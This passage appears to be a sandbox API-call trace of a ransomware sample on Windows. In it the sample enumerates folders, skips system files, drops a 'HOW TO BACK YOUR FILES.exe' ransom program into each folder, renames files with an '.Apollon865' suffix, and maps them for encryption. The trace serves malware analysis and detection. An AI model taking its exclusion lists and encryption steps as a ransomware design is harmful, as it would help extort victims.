	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2="temp") returned -1
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2="pagefile.sys") returned -1
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2="boot") returned 1
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2="ids.txt") returned 1
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2="ntuser.dat") returned -1
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2="perflogs") returned -1
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2="MSBuild") returned -1
	[0046.327] lstrlenW (lpString="index.dat") returned 9
	[0046.327] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0") returned 89
	[0046.327] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="index.dat" | out: lpString1="index.dat") returned="index.dat"
	[0046.327] lstrlenW (lpString="index.dat") returned 9
	[0046.327] lstrlenW (lpString="Apollon865") returned 10
	[0046.327] lstrlenW (lpString=".dll") returned 4
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2=".dll") returned 1
	[0046.327] lstrlenW (lpString=".lnk") returned 4
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2=".lnk") returned 1
	[0046.327] lstrlenW (lpString=".ini") returned 4
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2=".ini") returned 1
	[0046.327] lstrlenW (lpString=".sys") returned 4
	[0046.327] lstrcmpiW (lpString1="index.dat", lpString2=".sys") returned 1
	[0046.327] lstrlenW (lpString="index.dat") returned 9
	[0046.327] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="OWLVMZRC" | out: lpString1="OWLVMZRC") returned="OWLVMZRC"
	[0046.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0046.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb4) returned 0x5c1698
	[0046.327] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0046.327] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d705b70, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OWLVMZRC", cAlternateFileName="")) returned 0
	[0046.327] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.328] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc30
	[0046.328] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC"
	[0046.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1698 | out: hHeap=0x580000) returned 1
	[0046.328] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc28 | out: hHeap=0x580000) returned 1
	[0046.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC") returned 89
	[0046.328] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC"
	[0046.328] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.328] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\owlvmzrc\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.331] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.332] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\OWLVMZRC\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x33af4650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33af4650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.332] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.332] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.332] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.332] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x33af4650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33af4650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.332] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.332] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.332] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.332] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.332] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af4650, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33af4650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.332] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.332] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33af4650, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33af4650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.332] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.332] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fc10
	[0046.332] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0"
	[0046.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c15d8 | out: hHeap=0x580000) returned 1
	[0046.332] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0046.332] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0") returned 89
	[0046.332] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0"
	[0046.332] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.332] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\fkluidu0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.336] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.336] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\FKLUIDU0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x33b1a7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b1a7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.336] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.336] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.337] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.337] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x33b1a7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b1a7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.337] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.337] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.337] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.337] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.337] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b1a7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b1a7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.337] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.337] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b1a7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b1a7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.337] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.337] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fbf0
	[0046.337] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33"
	[0046.337] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1518 | out: hHeap=0x580000) returned 1
	[0046.337] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fbe8 | out: hHeap=0x580000) returned 1
	[0046.337] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33") returned 89
	[0046.337] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33"
	[0046.337] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.337] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.341] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.341] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x33b1a7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b1a7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.341] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.341] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.341] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.341] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x33b1a7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33b1a7b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.341] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.341] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.341] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.341] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.341] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d705b70, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1d705b70, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d941010, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="get.adobe[1].xml", cAlternateFileName="GETADO~1.XML")) returned 1
	[0046.341] lstrcmpiW (lpString1="get.adobe[1].xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.341] lstrcmpiW (lpString1="get.adobe[1].xml", lpString2="Apollon865.txt.exe") returned 1
	[0046.341] lstrcmpiW (lpString1="get.adobe[1].xml", lpString2=".") returned 1
	[0046.342] lstrcpyW (in: lpString1=0x2d3e604, lpString2="get.adobe[1].xml" | out: lpString1="get.adobe[1].xml") returned="get.adobe[1].xml"
	[0046.342] lstrlenW (lpString="get.adobe[1].xml") returned 16
	[0046.342] lstrlenW (lpString="Apollon865") returned 10
	[0046.342] lstrcmpiW (lpString1="obe[1].xml", lpString2="Apollon865") returned 1
	[0046.342] lstrlenW (lpString=".dll") returned 4
	[0046.342] lstrcmpiW (lpString1="get.adobe[1].xml", lpString2=".dll") returned 1
	[0046.342] lstrlenW (lpString=".lnk") returned 4
	[0046.342] lstrcmpiW (lpString1="get.adobe[1].xml", lpString2=".lnk") returned 1
	[0046.342] lstrlenW (lpString=".ini") returned 4
	[0046.342] lstrcmpiW (lpString1="get.adobe[1].xml", lpString2=".ini") returned 1
	[0046.342] lstrlenW (lpString=".sys") returned 4
	[0046.342] lstrcmpiW (lpString1="get.adobe[1].xml", lpString2=".sys") returned 1
	[0046.342] lstrlenW (lpString="get.adobe[1].xml") returned 16
	[0046.342] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml.Apollon865") returned 117
	[0046.342] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml.apollon865"), dwFlags=0x1) returned 1
	[0046.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\8NES5H33\\get.adobe[1].xml.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\domstore\\8nes5h33\\get.adobe[1].xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0046.343] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=13) returned 1
	[0046.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0046.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0046.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0046.343] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf678) returned 1
	[0046.344] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0046.344] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0046.344] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x310, lpName=0x0) returned 0x148
	[0046.349] MapViewOfFile (hFileMappingObject=0x148, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x310) returned 0x100000
	[0046.350] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf678) returned 1
	[0046.351] CryptGenRandom (in: hProv=0x5bf678, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0046.351] CryptReleaseContext (hProv=0x5bf678, dwFlags=0x0) returned 1
	[0046.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0046.351] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0046.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0046.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0046.351] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0046.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0046.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0046.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0046.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0046.352] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0046.352] CloseHandle (hObject=0x148) returned 1
	[0046.352] CloseHandle (hObject=0x154) returned 1
	[0046.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0046.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0046.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0046.352] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b1a7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b1a7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.352] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.352] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33b1a7b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33b1a7b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.352] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.352] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0046.352] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3"
	[0046.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0046.353] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0046.353] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3") returned 89
	[0046.353] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\DOMStore\\3LKBQZJ3"
	[0046.353] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
